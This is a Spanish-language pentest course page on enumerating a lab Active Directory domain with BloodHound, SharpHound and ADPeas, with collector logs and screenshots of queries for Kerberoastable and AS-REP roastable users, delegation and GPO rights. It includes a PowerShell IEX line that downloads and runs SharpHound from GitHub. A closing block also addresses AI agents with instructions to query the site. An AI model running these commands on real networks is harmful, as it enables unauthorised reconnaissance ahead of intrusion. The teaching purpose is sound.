# Enumeracion con BloodHound

{% hint style="info" %}
Para llevar tu aprendizaje al siguiente nivel y practicar estas técnicas de manera segura y efectiva, te invitamos a adquirir acceso premium a nuestro material de curso. No pierdas esta oportunidad de profundizar tus conocimientos. Para más información y adquirir tu acceso, visita nuestro canal de ventas: <https://wa.link/j265a0>. ¡Te esperamos para empezar este viaje juntos!
{% endhint %}

{% hint style="success" %}
**OBJETIVO DEL EJERCICIO #11:**

Utiliza`ADPeas.ps1 y SharpHound.ps1`para enumerar el dominio de `spartan-cybersec.corp`. \
Para realizarlo es suficiente tener encendido UNICAMENTE `WEBSERVER` y `First-DC`.
{% endhint %}

BloodHound es una herramienta específica diseñada para analizar y visualizar relaciones dentro de Directorio Activo (AD). Se ha convertido en una herramienta crucial en el arsenal de muchos pentesters y atacantes por varias razones:

1. <mark style="color:red;">**Visualización de Relaciones**</mark><mark style="color:red;">:</mark> BloodHound utiliza gráficos para mostrar las relaciones entre usuarios, grupos, computadoras y otros componentes en un AD. Estas visualizaciones hacen que sea más fácil para un atacante o pentester entender rápidamente las relaciones complejas y encontrar potenciales caminos de ataque.
2. <mark style="color:red;">**Identificación de Caminos de Ataque**</mark><mark style="color:red;">:</mark> Uno de los principales valores de BloodHound es su capacidad para identificar caminos de escalada de privilegios y movimiento lateral. Al alimentar a BloodHound con datos recopilados, la herramienta puede identificar caminos específicos que un atacante puede seguir para escalar privilegios o moverse lateralmente a través de una red.
3. <mark style="color:red;">**Automatización**</mark><mark style="color:red;">:</mark> La recopilación manual de detalles sobre las relaciones AD puede ser extremadamente lenta y tediosa. BloodHound, junto con su componente de recopilación de datos llamado SharpHound, automatiza gran parte de este proceso, permitiendo a los pentesters recopilar y analizar datos rápidamente.
4. <mark style="color:red;">**Identificación de Vulnerabilidades Comunes**</mark><mark style="color:red;">:</mark> BloodHound también puede identificar patrones comunes que a menudo son vulnerables a la explotación, como configuraciones de delegación inseguras, miembros excesivamente permisivos en grupos de alto privilegio, y usuarios que tienen derechos de sesión local en sistemas críticos.
5. <mark style="color:red;">**Capacidades de Análisis Avanzado**</mark><mark style="color:red;">:</mark> Aparte de identificar caminos obvios, BloodHound puede ayudar a identificar relaciones no evidentes que podrían ser explotadas. Por ejemplo, un usuario podría no tener privilegios directos sobre un recurso, pero a través de una serie de relaciones y delegaciones, podría tener una ruta de acceso indirecto.
6. <mark style="color:red;">**Capacitación y Conciencia**</mark><mark style="color:red;">:</mark> Para defensores y equipos de seguridad, BloodHound también puede ser una herramienta valiosa. Al visualizar la estructura de permisos y las relaciones dentro de AD, los defensores pueden anticiparse a potenciales vías de ataque y tomar medidas para mitigar los riesgos.

Primero ejecutamos el siguiente comando para inicializar la base de datos:

```bash
kali@kali> neo4j console             
Directories in use:
home:         /usr/share/neo4j
config:       /usr/share/neo4j/conf
logs:         /etc/neo4j/logs
plugins:      /usr/share/neo4j/plugins
import:       /usr/share/neo4j/import
data:         /etc/neo4j/data
certificates: /usr/share/neo4j/certificates
licenses:     /usr/share/neo4j/licenses
run:          /var/lib/neo4j/run
Starting Neo4j.
2023-09-29 07:18:18.137+0000 INFO  Starting...
2023-09-29 07:18:19.041+0000 INFO  This instance is ServerId{35cf9386} (35cf9386-d217-443f-89d6-3eac0c57e0bf)
2023-09-29 07:18:22.056+0000 INFO  ======== Neo4j 4.4.16 ========
2023-09-29 07:18:24.383+0000 INFO  Performing postInitialization step for component 'security-users' with version 3 and status CURRENT
2023-09-29 07:18:24.389+0000 INFO  Updating the initial password in component 'security-users'
2023-09-29 07:18:27.611+0000 INFO  Bolt enabled on localhost:7687.
2023-09-29 07:18:29.774+0000 INFO  Remote interface available at http://localhost:7474/
2023-09-29 07:18:29.783+0000 INFO  id: DF67EC052D662B43410905E04F35787198037F96A886BD7B9B4BBD6337685638
2023-09-29 07:18:29.783+0000 INFO  name: system
2023-09-29 07:18:29.783+0000 INFO  creationDate: 2023-09-10T21:48:26.697Z
2023-09-29 07:18:29.783+0000 INFO  Started.
```

Y luego ejecutamos descargamos BloodHound desde el siguiente repositorio:

{% embed url="<https://github.com/BloodHoundAD/BloodHound/releases>" %}

Y despues de clonar el repositorio, se procede a ejecutar el siguiente comando:

```
./BloodHound --no-sandbox
```

Y esto nos abrira la siguiente ventana:

<figure><img src="/files/6uc5CSrVlMiNqIeE94R1" alt=""><figcaption></figcaption></figure>

Para utilizar BloodHound debemos utilizar un colector como SharpHound.

Si utilizamos ADPeas automaticamente tendremos nuestro archivo.zip:

```bash
[?] +++++ Searching for Detailed Active Directory Information with BloodHound +++++
2023-09-29T07:16:28.0771518+00:00|INFORMATION|This version of SharpHound is compatible with the 4.2 Release of BloodHound
2023-09-29T07:16:28.1084035+00:00|INFORMATION|Resolved Collection Methods: Group, GPOLocalGroup, Trusts, ACL, Container, ObjectProps
2023-09-29T07:16:28.1240293+00:00|INFORMATION|Initializing SharpHound at 7:16 AM on 9/29/2023
2023-09-29T07:16:28.1552940+00:00|WARNING|Common Library is already initialized
2023-09-29T07:16:28.1709015+00:00|INFORMATION|Flags: Group, GPOLocalGroup, Trusts, ACL, Container, ObjectProps
2023-09-29T07:16:28.2334002+00:00|INFORMATION|Beginning LDAP search for spartancybersec.corp
2023-09-29T07:16:28.2646481+00:00|INFORMATION|Producer has finished, closing LDAP channel
2023-09-29T07:16:28.2802762+00:00|INFORMATION|LDAP channel closed, waiting for consumers
2023-09-29T07:17:13.4153837+00:00|INFORMATION|Status: 38 objects finished (+38 0.8444445)/s -- Using 165 MB RAM
2023-09-29T07:17:13.5263386+00:00|INFORMATION|Consumers finished, closing output channel
2023-09-29T07:17:13.5615949+00:00|INFORMATION|Output channel closed, waiting for output task to complete
Closing writers
2023-09-29T07:17:13.6375942+00:00|INFORMATION|Status: 112 objects finished (+60 2.488889)/s -- Using 166 MB RAM
2023-09-29T07:17:13.6375942+00:00|INFORMATION|Enumeration finished in 00:00:45.4144593
2023-09-29T07:17:13.6553472+00:00|INFORMATION|Saving cache with stats: 71 ID to type mappings.
 71 name to SID mappings.
 0 machine sid mappings.
 2 sid to domain mappings.
 0 global catalog mappings.
2023-09-29T07:17:13.6553472+00:00|INFORMATION|SharpHound Enumeration Completed at 7:17 AM on 9/29/2023! Happy Graphing!

PS C:\Users\Public\TOOLS> dir
    Directory: C:\Users\Public\TOOLS

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
-a----         9/29/2023   7:17 AM          13172 spartancybersec.corp_20230929071713_BloodHound.zip
```

O tambien podriamos utilizar el siguiente comando:

```powershell
> IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/BloodHoundAD/BloodHound/master/Collectors/SharpHound.ps1'); 
> Invoke-BloodHound -CollectionMethod All
```

Esta herramienta puede ser encontrada en:

{% embed url="<https://github.com/BloodHoundAD/BloodHound/blob/master/Collectors/SharpHound.ps1>" %}

Luego de la ejecuccion previa, se obtendra un archivo.zip.

Asegurate de ejecutar estos comandos sobre un directorio en el que tengas acceso de escritura.

Ahora simplemente arrastramos el archivo.zip a BloodHound:

<figure><img src="/files/Ptz0uolnV3yF9WXvXniI" alt=""><figcaption></figcaption></figure>

Luego de lo anterior ya podriamos empezar a realizar consultas de analisis.

### <mark style="color:red;">Identificacion de Doman Admins</mark>

En la siguiente evidencia, identificamos los usuarios con privilegios de Domain Admin sobre el dominio:

<figure><img src="/files/TQZsxnE0kXeePVv5II0p" alt=""><figcaption></figcaption></figure>

### <mark style="color:red;">Identificacion de usuarios Kerberoasteables</mark>

Para identificar usuarios vulnerables a Kerberoasting:

<figure><img src="/files/09i0nqXX5t0j9u6NxPpV" alt=""><figcaption></figcaption></figure>

### <mark style="color:red;">Identificacion de usuarios AS-REP Roastable</mark>

Para identificar usuarios vulnerables a AS-REP Roastable:

<figure><img src="/files/8j2kWGTXG9U8lbXPAovX" alt=""><figcaption></figcaption></figure>

### <mark style="color:red;">Identificacion de vectores de ataque</mark>

Para identificar vectores de ataque que permitan llegar al DC:

<figure><img src="/files/Bmh2VNjKA0rU7bVPbYrM" alt=""><figcaption></figcaption></figure>

Hay unas consultas que te recomiendo instalar en BloodHound:

{% embed url="<https://github.com/CompassSecurity/BloodHoundQueries>" %}

### <mark style="color:red;">Identificacion de Unsconstrained Delegation</mark>

Despues de instalar estas consultas personalizadas podrias enumerar ataques de unsconstrained:

<figure><img src="/files/NqmbrEZmqhjTkRpppSHZ" alt=""><figcaption></figcaption></figure>

### <mark style="color:red;">Identificacion de usuarios con permisos sobre GPO</mark>

Identificar objetos o usuarios con permisos sobre GPO:

<figure><img src="/files/sPs7BasN6O1BQkPNl5JX" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://books.spartan-cybersec.com/cpad/enumeracion-en-ad/enumeracion-con-bloodhound.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
